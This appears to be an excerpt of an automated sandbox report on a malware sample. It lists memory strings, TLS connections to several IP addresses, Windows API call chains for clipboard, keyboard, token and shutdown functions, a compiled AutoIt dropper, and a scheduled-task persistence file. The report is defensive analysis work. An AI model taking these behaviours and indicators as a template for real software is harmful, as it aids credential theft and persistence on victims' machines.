Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D38E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948229640.0000385848BDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000003.2784445525.000002EE65121000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE60498000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2910556312.000002EE5F5BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2785303389.000002EE64AC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE651FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2764466936.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2787747889.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2908285442.000002EE5F431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902828832.000002EE5EC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE604D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2908285442.000002EE5F431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/P4
Source: firefox.exe, 0000001A.00000002.2913537647.000002EE6007C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE60498000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2910556312.000002EE5F5BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C96B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2913537647.000002EE600B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2910556312.000002EE5F50E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2764466936.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2787747889.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847919558.000002EE4C790000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE604D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2747136565.000002EE67138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854573786.000002EE58ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2666087846.000001302575A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2676161834.000002451296F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2848249080.000002EE4C95D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd8
Source: firefox.exe, 0000001A.00000002.2849118022.000002EE4E229000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849118022.000002EE4E264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: d7c50276ff.exe, 0000000C.00000002.2695657922.0000000001178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdQg
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUnsupported
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmaybeOfferTranslatio

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50131 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FDEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

12_2_00FDEAFF

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FDED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

12_2_00FDED6A

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

12_2_00FDEAFF

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FCAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

12_2_00FCAA57

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FF9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

12_2_00FF9576

System Summary

Binary is likely a compiled AutoIt script file

Source: d7c50276ff.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: d7c50276ff.exe, 0000000C.00000000.2619556994.0000000001022000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a1304f50-6
Source: d7c50276ff.exe, 0000000C.00000000.2619556994.0000000001022000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_886619fe-a

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name:
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name: .idata
Source: OLR88CERN7VQFRQ38J.exe.0.dr	Static PE information: section name:
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name:
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: .rsrc
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name: .idata
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe.0.dr	Static PE information: section name:
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name:
Source: BF3BS0M5707K28RGW9.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: aae25c676b.exe.5.dr	Static PE information: section name:
Source: aae25c676b.exe.5.dr	Static PE information: section name: .rsrc
Source: aae25c676b.exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 7d61336cf8.exe.5.dr	Static PE information: section name:
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: .rsrc
Source: 7d61336cf8.exe.5.dr	Static PE information: section name: .idata
Source: 7d61336cf8.exe.5.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FCD5EB: CreateFileW,DeviceIoControl,CloseHandle,

12_2_00FCD5EB

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FC1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00FC1201

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FCE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

12_2_00FCE8F6

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01013EE2	0_3_01013EE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01012E99	0_3_01012E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010138C9	0_3_010138C9
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00A3DB7F	6_2_00A3DB7F
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BD3E9B	6_2_00BD3E9B
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Code function: 6_2_00BD3EFB	6_2_00BD3EFB
